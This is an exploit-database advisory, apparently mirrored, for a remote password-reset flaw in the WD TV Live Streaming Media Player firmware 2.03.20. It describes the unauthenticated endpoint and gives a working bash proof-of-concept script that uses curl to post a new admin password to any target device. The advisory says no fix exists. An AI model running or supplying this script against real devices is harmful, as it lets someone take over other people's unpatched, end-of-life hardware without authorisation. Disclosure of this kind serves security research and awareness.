WDTV Live SMP 2.03.20 – Remote Password Reset

  • 作者: Sw1tCh
    日期: 2017-07-14
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/42326/
  • #######################################################
    ## WDTV Live SMP Remote Password Reset Vulnerability ##
    #######################################################
    
    Date: Jul 14 2017
    Author: sw1tch
    Demo: https://www.sw1tch.net/2017/07/12/wdtv-live-smb-exploit/
    Description: A simple remotely exploitable web application vulnerability
    for the WDTV Live Streaming Media Player and possibly other WDTV systems.
    
    -INTRO-
    
    The WDTV Live SMP is a is a consumer device produced by Western Digital
    that plays videos, images, and music from USB drives. It can play
    high-definition video through an HDMI port, and standard video through
    composite video cables. It can play most common video and audio formats. As
    of August 2016, the WDTV appears to be discontinued.
    
    The latest firmware version appears to be 2.03.20.
    
    -VULNERABILITY-
    
    The WDTV Live SMP runs an embedded webserver, allowing authenticated users
    to upload themes, manage device settings, access a virtual remote and other
    tasks. To authenticate, a user needs to provide the correct password (no
    username).
    
    An unauthenticated attacker can update the password via a constructed GET
    request, subsequently taking control of many functions of the device.
    
    Vulnerable versions include at least firmware 2.03.20, and likely many more
    older versions.
    
    -POC-
    
    #!/bin/bash
    
    echo
    echo "WDTV Live SMP Admin Password Reset Exploit"
    echo "Apparently sw1tch found this guff in 2017"
    echo
    if [ $# != 2 ]; then
    echo "Usage: `basename $0` <target IP/host> <new password>"
    echo
    exit $ERR_ARG
    fi
    
    # Vars...
    target=$1
    password=$2
    
    echo -n "[*] Slamming your chosen password at $target now..."
    curl "http://$target/DB/modfiy_pw.php" -d "password=$password"
    echo "done!"
    echo "[*] Try logging in to http://$target/ using $password"
    echo
    exit 0
    
    -FIX-
    
    None available. Device appears to be EOL so unlikely to be remediated.
    
    --------------------------------------------------------------------------------------------------------------------------------